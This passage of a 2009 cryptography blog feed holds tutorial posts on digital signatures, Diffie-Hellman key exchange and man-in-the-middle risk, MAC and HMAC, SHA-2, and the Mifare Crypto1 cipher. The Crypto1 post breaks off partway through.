		<pubDate>Thu, 24 Dec 2009 01:02:47 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Digital signatures]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=472</guid>
		<description><![CDATA[In the previous post, I said I'd write about the Discrete Logarithm problem in the next post. However, I forgot to mention the general idea behind digital signatures. Since I can't sleep right now and have to take a train to the airport in a couple of hours, I decided to go ahead and write [...]]]></description>
			<content:encoded><![CDATA[<p>In the previous post, I said I'd write about the Discrete Logarithm problem in the next post. However, I forgot to mention the general idea behind digital signatures. Since I can't sleep right now and have to take a train to the airport in a couple of hours, I decided to go ahead and write a few lines about digital signatures <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p><strong>Basic idea</strong></p>
<p>The basic idea behind digital signatures is to make use of the fact that in public key cryptography a user has a <strong>private key</strong> which is <strong>never disclosed to anyone</strong> in order to authenticate the user or messages generated by that user.</p>
<p>In a symmetric setting, authentication is performed using MAC or HMAC mechanisms, and at least two parties know the key used to generate those messages. Therefore, a given party could deny that he or she generated a given authenticated message, because he is not the only one who knows that key and therefore there is no proof that he did generate the message.</p>
<p>Of course, if only two parties know the key, and one of the parties knows that a particular message was not generated by himself, then it must come from the other party. However, in a legal dispute, there is no way to prove that and to an external observer both of the options are equally likely.</p>
<p>To solve that issue, digital signatures generate a sort of authentication code using a private key, never disclosed to anyone. Then, using the related public key, everyone can verify that signature and therefore be sure that the message came from that user. Since that entity is the only one knowing the private key, this sort of construction can be used to bind a user to a message and resolve any legal disputes that might arise.</p>
<p>Normally, you can see the digital signature generation process as some sort of <em>encryption</em> with a private key. On the other hand, you can imagine the signature verification (or opening) phase as a <em>decryption</em> using the public part of the key.</p>
<p><strong>Practical usage of digital signatures</strong></p>
<p>In real world, documents are usually way larger than the message length that common digital signature algorithms can handle directly. Since authenticating each chunk of a document is not very practical (asymmetric crypto is usually slooooow), in practice a cryptographic hash is computed over the document, and the hash is signed using the private key and the signature algorithm.</p>
<p>Then, in the verification stage, a second hash is computed and compared against the signed hash. If they match, the signature is correct and therefore the received document was created by the signing party and has not been modified.</p>
<p>Of course, this assumes that cryptographic hash functions behave as expected, and there are no collisions. Ohterwise, if one might find another document which produces the same hash (and thus the same signature), any legal proof that the document was created by the private key holder would be destroyed.</p>
<p>Therefore, choosing secure hash functions for usage within digital signatures is a crucial issue. As an example problem that arose due to the use of insecure hash functions with digital certificates, check the <a href="http://www.win.tue.nl/hashclash/">Hashclash</a> project.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/digital-signatures" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/f3mH20bjbzs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/digital-signatures/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/digital-signatures</feedburner:origLink></item>
		<item>
		<title>Crypto Series: New Directions in Cryptography</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/1wu0eqQh-0E/new-directions-crypto</link>
		<comments>http://www.limited-entropy.com/new-directions-crypto#comments</comments>
		<pubDate>Sun, 20 Dec 2009 17:31:38 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Diffie-Hellman]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=463</guid>
		<description><![CDATA[As some of you might have noticed already by looking at the title, this post will be the first one talking about public key cryptography.  Today, I'll introduce the basic ideas around public key crypto and the ideas proposed by Diffie and Hellman in their famous paper 'New Directions in Cryptography' from 1976. In subsequent [...]]]></description>
			<content:encoded><![CDATA[<p>As some of you might have noticed already by looking at the title, this post will be the first one talking about public key cryptography.  Today, I'll introduce the basic ideas around public key crypto and the ideas proposed by Diffie and Hellman in their famous paper '<a href="http://www.cs.jhu.edu/~rubin/courses/sp03/papers/diffie.hellman.pdf">New Directions in Cryptography</a>' from 1976.</p>
<p>In subsequent posts, we well look at the discrete logarithm problem and the factorization problem. We'll also look into some public key cryptosystems, such as El-Gamal and RSA. And after that, we'll look at Elliptic Curve Cryptography. With all this, the algorithms part of this series will be considered closed and I'll move into cryptographic systems and protocols <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Stay tuned!</p>
<p><span id="more-463"></span>So, what did Diffie and Hellman exactly propose? Well, let me first tell you why they wanted to change the way cryptography worked. As you know, with symmetric crypto we need a shared key between two ends communicating. This works fine and is easy to maintain when we have a few parties taking place in a communication system.</p>
<p>However, with the advent of global communication systems, the Internet and all that stuff you all know, this turns out to be unmanageable. A symmetric system with n users requires a unique key per pair of users, which means <img src='http://s.wordpress.com/latex.php?latex=%5Cfrac%7Bn%28n-1%29%7D%7B2%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\frac{n(n-1)}{2} ' title='\frac{n(n-1)}{2} ' class='latex' /> keys.</p>
<p>Therefore, the main motivation for public key cryptography is the reduction of the number of keys needed for a cryptosystem, reducing the complexity of key management. Now, how do we achieve this? Basically, Public Key Cryptography is based in the existence of two different algorithms: a public algorithm for encryption, and a private algorithm for decryption.</p>
<p>So, let's say you want to encrypt something for a given person. Then, you retrieve this person's public key and apply the public algorithm for encryption. You send your encrypted message to that person, and once received, they will apply the private algorithm with their private part of the key.</p>
<p>This implies that the public encryption algorithm, <img src='http://s.wordpress.com/latex.php?latex=E_K%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='E_K ' title='E_K ' class='latex' />, and the private decryption algorithm <img src='http://s.wordpress.com/latex.php?latex=D_K%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='D_K ' title='D_K ' class='latex' /> are inverse operations (in order to provide the ability to recover the plaintext). Further, the computation must be easy (or inexpensive) so that it can be efficiently applied. Finally, it should be infeasible to compute the decryption part of the algorithm <img src='http://s.wordpress.com/latex.php?latex=D_K%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='D_K ' title='D_K ' class='latex' /> given the encryption part <img src='http://s.wordpress.com/latex.php?latex=E_K&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='E_K' title='E_K' class='latex' />.</p>
<p><strong>Trapdoor functions</strong></p>
<p>So, we need a function that is easy to compute, but its inverse is difficult to compute. That's a one-way function (such as a cryptographic hash function)... but wait, we also need it to be easy to compute for the other party. So, we will add some extra component (namely a key) which makes the inverse computation easy: a trapdoor!</p>
<p>We'll see how to construct these kind of functions in our coming posts about different public key cryptosystems <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . For now, I'll only say that these functions can be constructed based on integer exponentiation modulo <em>p</em> or operations in Elliptic Curve groups.</p>
<p><strong>Diffie-Hellman key exchange</strong></p>
<p>So finally, we reach the Diffie-Hellman key exchange or key agreement. This is a protocol to jointly compute a shared key between two entities over an insecure channel, using only public data.</p>
<p>The DH key exchange works under the assumption that the discrete logarithm (DL) problem is difficult to solve. The DL problem is stated as follows:</p>
<blockquote><p>Given <img src='http://s.wordpress.com/latex.php?latex=y%20%3D%20g%5Ex%20%5Cmod%20p%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y = g^x \mod p ' title='y = g^x \mod p ' class='latex' />, compute <em>x</em></p></blockquote>
<p>Where <em>g</em> is a <em>generator </em>and <em>p</em> is a big prime number. So, we assume that this problem is hard to solve (I'll talk about methods to solve it in my next post), and have two parties Alice and Bob who wish to communicate security. Then, Alice generates a random number <img src='http://s.wordpress.com/latex.php?latex=x_A%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x_A ' title='x_A ' class='latex' /> modulo <em>p-1</em> and computes <img src='http://s.wordpress.com/latex.php?latex=y_A%20%3D%20g%5E%7Bx_A%7D%20%5Cmod%20p%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y_A = g^{x_A} \mod p ' title='y_A = g^{x_A} \mod p ' class='latex' /> from it. In turn, Bob does the same, generating <img src='http://s.wordpress.com/latex.php?latex=x_B%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x_B ' title='x_B ' class='latex' /> and <img src='http://s.wordpress.com/latex.php?latex=y_B%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y_B ' title='y_B ' class='latex' /> accordingly.</p>
<p>Now, Alice and Bob exchange their public part of the key and perform the computation of the shared key as:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=k%20%3D%20y_B%5E%7Bx_A%7D%20%3D%20%28g%5E%7Bx_B%7D%29%5E%7Bx_A%7D%20%3D%20g%5E%7Bx_B%20x_A%7D%20%3D%20%28g%5E%7Bx_A%7D%29%5E%7Bx_B%7D%20%3D%20y_A%5E%7Bx_B%7D%20%3D%20k%5E%7B%5Cprime%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='k = y_B^{x_A} = (g^{x_B})^{x_A} = g^{x_B x_A} = (g^{x_A})^{x_B} = y_A^{x_B} = k^{\prime} ' title='k = y_B^{x_A} = (g^{x_B})^{x_A} = g^{x_B x_A} = (g^{x_A})^{x_B} = y_A^{x_B} = k^{\prime} ' class='latex' /></p>
<p style="text-align: left;">Note that Alice and Bob are able to compute the shared key only from the public key of the other party and their own private key, which they don't disclose to anyone. Also, note that under the DL assumption it is infeasible to compute the private key of these parties from their public key.</p>
<p style="text-align: left;">However, here the attacker has more knowledge than in a simple DL problem, and this requires a stricter assumption: the DH assumption. The DH assumption means that we assume that given <img src='http://s.wordpress.com/latex.php?latex=g%5Ex%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^x ' title='g^x ' class='latex' /> and <img src='http://s.wordpress.com/latex.php?latex=g%5Ey%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^y ' title='g^y ' class='latex' /> it is hard to compute <img src='http://s.wordpress.com/latex.php?latex=g%5E%7Bx%20y%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g^{x y} ' title='g^{x y} ' class='latex' />.</p>
<p style="text-align: left;">Note that this is different from the DL assumption, since you might be able to compute the result without going through the trouble of computing x or y individually. However, as far as I know, this problem turns out to be a difficult one at least in the groups of integers modulo some big prime number. Therefore, this guarantees the confidenciality of the key agreed by our two parties, Alice and Bob.</p>
<p style="text-align: left;"><strong>The Man in The Middle problem</strong></p>
<p style="text-align: left;">I said this guarantees the confidentiality of the agreed key, but that's not completely true... it only does if the received public key really comes from the intended party. And since this key exchange doesn't do anything to guarantee the authenticity of the key, there is a clear man in the middle problem.</p>
<p style="text-align: left;">Imagine an attacker, either Eve or Mallory or whatever you like to call your attacker, sitting in the middle of the communication between Alice and Bob. This attacker is not only able to receive the communication contents, but to modify them. Then, the attacker is able to send its own public key to Alice and Bob, and keep their respective public keys for himself.</p>
<p style="text-align: left;">This would result in the attacker generating a <em>secure</em> channel between Alice and himself, and another one between Bob and himself. Whatever Alice or Bob send, he can decrypt, read and modify if he wishes.</p>
<p style="text-align: left;">To solve this problem, it is obvious that we need to add authentication to the key exchange. This is something that could be done with MAC or HMAC constructions as we learnt before, but then we get into a chicken and egg problem: we use the Diffie-Hellman key echange to avoid sharing a secret key, but then we want to authenticate the messages with a MAC or HMAC, which requires sharing a secret key!</p>
<p style="text-align: left;">This is where digital signatures, as the public key solution to authentication, will come handy. We'll see them in further posts, I think we all had enough for today <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/new-directions-crypto" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/1wu0eqQh-0E" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/new-directions-crypto/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/new-directions-crypto</feedburner:origLink></item>
		<item>
		<title>Crypto Series: Authentication codes</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/Ql7EcDQEw1c/mac-hmac</link>
		<comments>http://www.limited-entropy.com/mac-hmac#comments</comments>
		<pubDate>Tue, 01 Dec 2009 18:05:28 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[HMAC]]></category>
		<category><![CDATA[MAC]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=441</guid>
		<description><![CDATA[This time we'll treat two well known techniques used to solve a common problem in cryptography: authentication. To put it simple, authentication is the process of establishing an identity or a message's origin. To achieve this using symmetric cryptography, two basic mechanisms exist. The first of them, commonly referred to as Message Authentication Codes (MAC), [...]]]></description>
			<content:encoded><![CDATA[<p>This time we'll treat two well known techniques used to solve a common problem in cryptography:  authentication. To put it simple, authentication is the process of establishing an identity or a message's origin.</p>
<p>To achieve this using symmetric cryptography, two basic mechanisms exist. The first of them, commonly referred to as <em>Message Authentication Codes </em>(MAC), is based on using block ciphers with a shared key between the party claiming an identity (or sending a message) and the party verifying the identity or the origin of the message.</p>
<p>The second one, known as <em>Hashed Message Authentication Codes </em>(HMAC) is based on the use of a hash function together with some shared key. In the remaining of this post, I briefly describe the basic idea behind these two ways of assuring message authentication.</p>
<p><strong>Message Authentication Codes using block ciphers</strong></p>
<p>A common way to authenticate messages is to use a block cipher, such as DES, in a mode of operation which makes the latest encrypted block dependent on both the key and all the previous plaintext blocks. For instance, one can think of using 3DES in CBC mode to create a MAC over a message: encrypt the message in CBC mode using 3DES with the shared key, get the last output block and attach it to your original message.</p>
<p>When the recipient gets the message with its MAC, it does the same operation: encrypt each block using CBC mode and takes the last block. The result is compared against the MAC attached to the message: if there is a match, the sender of the message must have known the key (unless the encryption used is broken).</p>
<p>Despite being one of the most popular techniques for MAC generation (if not the most popular), CBC-MAC has some security problems and other techniques exist. For instance, you can take a look at <a href="http://csrc.nist.gov/publications/nistpubs/800-38B/SP_800-38B.pdf">Special Publication 800-38B</a> by <a href="http://csrc.nist.gov/">NIST</a>.</p>
<p><strong>Hashed Message Authentication Codes</strong></p>
<p>HMAC is a standardized way of using <a href="http://www.limited-entropy.com/en/crypto-series-hash-functions-sha2">hash functions</a> for authentication purposes. The idea is to incorporate the usage of a key into a hash function, in such a way that the resulting hash could not be produced without knowing the key.</p>
<p>The obvious choices of prefixing the message with the key or appending the key after the message before computing the hash have security problems (see <a href="http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/">Stop using unsafe keyed hashes, use HMAC</a> by Nate Lawson). Therefore, a slightly more complex structure was invented to avoid such problems.</p>
<p>The HMAC construction is defined as follows:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=HMAC%28m%2CK%29%3DH%28%28K%20%5Coplus%20opad%29%7C%7CH%28%28K%20%5Coplus%20ipad%29%7C%7Cm%29%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='HMAC(m,K)=H((K \oplus opad)||H((K \oplus ipad)||m)) ' title='HMAC(m,K)=H((K \oplus opad)||H((K \oplus ipad)||m)) ' class='latex' /></p>
<p style="text-align: left;">Where opad (outer pad) is the constant 0x5c...5c and ipad (inner pad) is the constant 0x36...36. These constants, as well as the key, are of the same length as the hash function's block length.</p>
<p style="text-align: left;">With this, one would follow the same approach as with any MAC: compute the HMAC value for the given message, and send it attached to the message. The recipient will perform the same computation, and if it matches the one attached to the message he will conclude that the message was sent by someone who knows K (which is hopefully only the person/entity he shared it with <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</p>
<p style="text-align: left;">This concludes my introduction to authentication codes. If you are looking for a good security analysis on HMAC functions, wait for Nate's post because I'm sure it will be very interesting.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/mac-hmac" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/Ql7EcDQEw1c" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/mac-hmac/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/mac-hmac</feedburner:origLink></item>
		<item>
		<title>Crypto Series: Cryptographic hash functions – SHA-2</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/CUzOs-GEBxg/crypto-series-hash-functions-sha2</link>
		<comments>http://www.limited-entropy.com/crypto-series-hash-functions-sha2#comments</comments>
		<pubDate>Sun, 22 Nov 2009 12:30:09 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[hash]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=430</guid>
		<description><![CDATA[So far, we've looked at block and stream ciphers in this series, including examples of each of them. Before going into asymmetric crypto I want to explain a little bit about cryptographic hash functions and some of their applications. We'll look at hash functions in general and at the SHA-1 hash function as an example. [...]]]></description>
			<content:encoded><![CDATA[<p>So far, we've looked at block and stream ciphers in this series, including examples of each of them. Before going into asymmetric crypto I want to explain a little bit about cryptographic hash functions and some of their applications. We'll look at hash functions in general and at the SHA-1 hash function as an example.</p>
<p>Note that I'll often skip the 'cryptographic' adjective throughout this series of posts, but I'll always refer to cryptographic hash functions and not to regular hash functions. And as usual, this is by no means complete but just tries to give a basic understanding of what hash functions are and how they usually look like.</p>
<p>I must say I never studied hash functions too deeply, so this stuff will serve as a reminder for me as well. If something is not as accurate as you'd hope for, let me know in the comments <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p><strong>Cryptographic Hash functions: properties</strong></p>
<p>A cryptographic hash function is defined as a series of operations over an input message of arbitrary length,  producing an output of fixed length (hash or message digest) such that a change to the message would not come unadvertised. It should be easy to compute a hash function from a message, but given a hash value it should be infeasible to find a message that would produce that value. Further, given a message it should be infeasible to find a second message producing the same message digest and as I stated before, it should be infeasible to modify a message without modifying its hash value.</p>
<p>Therefore, the desired properties of a cryptographic hash function are as follows:</p>
<ul>
<li><strong>Preimage resistance</strong>: given a hash value <em>h</em>, it should be infeasible to find a message <em>m</em> with <em>h=hash(m)</em>. Otherwise the function would be vulnerable to preimage attacks</li>
<li><strong>Second preimage resistance</strong>: given a message <img src='http://s.wordpress.com/latex.php?latex=m_1&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m_1' title='m_1' class='latex' /> it should be infeasible to find a second message, <img src='http://s.wordpress.com/latex.php?latex=m_2&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m_2' title='m_2' class='latex' /> which provides the same message. I.e., given <img src='http://s.wordpress.com/latex.php?latex=m_1&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m_1' title='m_1' class='latex' />, it should be difficult to find <img src='http://s.wordpress.com/latex.php?latex=m_2&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m_2' title='m_2' class='latex' /> such that <img src='http://s.wordpress.com/latex.php?latex=h%3Dhash%28m_1%29%20%3D%20hash%28m_2%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='h=hash(m_1) = hash(m_2) ' title='h=hash(m_1) = hash(m_2) ' class='latex' />. Otherwise, the function is said to be vulnerable to second preimage attacks.</li>
<li><strong>Collision resistance</strong>: It should be difficult to find two messages with the same message digest. Obviously, given a hash function with output size of <em>n</em> bits, if you try <img src='http://s.wordpress.com/latex.php?latex=2%5E%7Bn%7D%2B1&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='2^{n}+1' title='2^{n}+1' class='latex' /> messages, you'll get two of them with the same hash. The theory behnd birthday attacks tells us that for a <em>n</em> bit hash function we'd have to try out about <img src='http://s.wordpress.com/latex.php?latex=2%5E%7Bn%2F2%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='2^{n/2}' title='2^{n/2}' class='latex' /> inputs to find a collision. That number is called the birthay bound.</li>
</ul>
<p><strong>Typical structure of a hash function</strong></p>
<p>A hash function typically consists of a compression function which takes blocks of a fixed length as input and produced blocks of a fixed length (the output length of the hash function). Additionally, the output of the previous block is fed back to the input so that the next block depends in all the previous blocks. Otherwise, the hash function would be looking at the last block only <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<div id="attachment_434" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/11/Merkle-Damgard_hash_big.png"><img class="size-medium wp-image-434" title="Merkle-Damgard" src="http://www.limited-entropy.com/wp-content/uploads/2009/11/Merkle-Damgard_hash_big-300x140.png" alt="Merkle-Damgard construction" width="300" height="140" /></a><p class="wp-caption-text">Merkle-Damgard construction</p></div>
<p>The structure shown is known as the Merkle-Damgård construction, and most popular hash functions are based on this construction. However, alternative structures exist and many of the proposals for the SHA-3 contest are based on different constructions.</p>
<p><strong>The SHA-2 family</strong></p>
<p>Although MD5 and SHA-1 are way more popular, I decided to take a look and describe here the structure of the SHA-2 family of hash functions. The reason for this is that MD5 was broken a while ago, first by dr. Wang's team and later by a group of researchers including dr. Benne de Weger. I already talked about it <a href="http://www.limited-entropy.com/de-md5-colisiones-presidentes-de-eeuu-y-ps3">here</a>, although it's only in Spanish. You can see the <a href="http://www.win.tue.nl/hashclash/">hashcalc project's page</a> if you don't read Spanish <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>Further, SHA-1 is very similar to MD5 and the same sort of problems usually apply to it. Therefore, I chose to look at the next family of hash functions, the SHA-2 family. This includes several hash functions with different output lengths: SHA-224, SHA-256, SHA-384, and SHA-512 where the number defines the number of output bits.</p>
<p>SHA-256 and SHA-512 use 32 and 64 bit words respectively, while SHA-224 and SHA-384 are just truncated versions of them. In the remaining of this section I'll explain SHA-256 since SHA-512's structure is basically the same but with different word size and initial values.</p>
<p>Bascially, the input message is divided in 512 bit blocks <img src='http://s.wordpress.com/latex.php?latex=M_i%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='M_i ' title='M_i ' class='latex' />, and is padded with additional information that includes the length of the original message. Then, for each of these blocks a <em>message schedule</em> is run which produces 64 variables <img src='http://s.wordpress.com/latex.php?latex=W_t%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='W_t ' title='W_t ' class='latex' />.</p>
<p>These 64 variables are processed with the compression function shown in this picture, where variables a..f are initialized according to the standard:</p>
<div id="attachment_435" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/11/SHA-2.png"><img class="size-medium wp-image-435" title="SHA-2" src="http://www.limited-entropy.com/wp-content/uploads/2009/11/SHA-2-300x211.png" alt="SHA-2 Compression function" width="300" height="211" /></a><p class="wp-caption-text">SHA-2 Compression function</p></div>
<p>After this processing, the intermediate hash value is computed as the addition (modulo 32) of the variables a..f and the previous intermediate hash value. This process is run for each message block and finally yields the <em>message digest</em>.</p>
<p>Of course, this is a very high level description of the algorithm. If you want to know the details, see the <a href="http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf">FIPS 180-2 standard</a> publication.</p>
<p><strong>The SHA-3 contest</strong></p>
<p>Currently, an open contest is being held by the NIST to create a new hashing standard, SHA-3. Currently, the contest is in its second round and there are 14 second round candidates. The Second SHA-3 Candidate Conference is planned for August 2010 and the idea is to publish a revised <em>Hash Function Standard </em>by 2012.</p>
<p>More information on the contest and the submissions can be found in the <a href="http://csrc.nist.gov/groups/ST/hash/sha-3/index.html"><em>NIST Hash competition</em></a> website.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-hash-functions-sha2" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/CUzOs-GEBxg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-hash-functions-sha2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/crypto-series-hash-functions-sha2</feedburner:origLink></item>
		<item>
		<title>Crypto Series: Mifare Crypto1</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/mq3yP4T2vmQ/crypto-series-mifare-crypto1</link>
		<comments>http://www.limited-entropy.com/crypto-series-mifare-crypto1#comments</comments>
		<pubDate>Sun, 11 Oct 2009 19:00:06 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Crypto1]]></category>
		<category><![CDATA[Mifare]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=408</guid>
		<description><![CDATA[Let's go back into Cryptography. This time I'll tell you how the (in)famous Crypto1 cipher works. It is used in the Mifare Classic RFID tags, typically used for building access control but also for many other systems such as the Oyster Card in London, the OV-Chipkaar in The Netherlands, etc. We won't talk about the [...]]]></description>
			<content:encoded><![CDATA[<p>Let's go back into Cryptography. This time I'll tell you how the (in)famous Crypto1 cipher  works. It is used in the Mifare Classic RFID tags, typically used for building access control but also for many other systems such as the Oyster Card in London, the OV-Chipkaar in The Netherlands, etc.</p>
<p>We won't talk about the protocol details, nor about how the published attacks work. You'll find a couple of interesting links at the end though <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>Note: Images obtained from the  papers linked at the end of the post.</p>
<p><strong>The Crypto1 cipher</strong></p>
<p>Crypto1 is a proprietary stream chiper from NXP found in the RFID tags from the Mifare Classic family. At first, it was studied by Karsten Nohl reverse engineering the chip itself. This information was published in the CCC 07, although not many details about the cipher were published.</p>
<p>In parallel, the Radboud Universiteit from Nijmegen was studying this kind of cards and with the help of the information published at CCC completely reverse engineered the cipher and published the details. Let's see how it works then...</p>
<p><span id="more-408"></span></p>
<p>Crypto1 is an LFSR based cipher, which uses just an LFSR with a linear feedback function and a filter function to generate the output stream (<em>keystream</em>):</p>
<div id="attachment_415" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1_overview.png"><img class="size-medium wp-image-415" title="Crypto1 - Overall structure" src="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1_overview-300x158.png" alt="Crypto1 - Overall structure" width="300" height="158" /></a><p class="wp-caption-text">Crypto1 - Overall structure</p></div>
<p>The overall structure of the cipher was revealed in the presentation at CCC, but the generating polynomian (the feedback function used by the LFSR) and the filter function was not. The generating polynomial, published by Karsten Nohl et al at Usenix'08, is as follows:</p>
<img src='http://s.wordpress.com/latex.php?latex=g%28x%29%20%3D%20x%5E%7B48%7D%20%2B%20x%5E%7B43%7D%20%2B%20x%5E%7B39%7D%20%2B%20x%5E%7B38%7D%20%2B%20x%5E%7B36%7D%20%2B%20x%5E%7B34%7D%20%2B%20x%5E%7B33%7D%20%2B%20x%5E%7B31%7D%20%2B%20x%5E%7B29%7D%2Bx%5E%7B24%7D%20%2B%20x%5E%7B23%7D%20%2B%20x%5E%7B21%7D%20%2B%20x%5E%7B19%7D%20%2B%20x%5E%7B13%7D%20%2B%20x%5E9%20%2B%20x%5E7%20%2B%20x%5E6%20%2B%20x%5E5%20%2B%201%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g(x) = x^{48} + x^{43} + x^{39} + x^{38} + x^{36} + x^{34} + x^{33} + x^{31} + x^{29}+x^{24} + x^{23} + x^{21} + x^{19} + x^{13} + x^9 + x^7 + x^6 + x^5 + 1 ' title='g(x) = x^{48} + x^{43} + x^{39} + x^{38} + x^{36} + x^{34} + x^{33} + x^{31} + x^{29}+x^{24} + x^{23} + x^{21} + x^{19} + x^{13} + x^9 + x^7 + x^6 + x^5 + 1 ' class='latex' />
<p style="text-align: left;">This means that bits 43,39,38...,7,6,5,0 are used to create the new bit that will be shifted into the register. Further, the input bit is used and a XOR of all them is executed to generated the next bit. This polynomial is <em>primitive</em>: irreducible and generates all the <img src='http://s.wordpress.com/latex.php?latex=2%5E%7B48%7D-1&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='2^{48}-1' title='2^{48}-1' class='latex' /> possible states before cycling back to the initial state.</p>
<p style="text-align: left;">On the other hand,the filter functions were published by the people from RU Nijmegen at Esorics'08. The following picture shows those filter functions together with the rest of the cipher.</p>
<p style="text-align: left;">
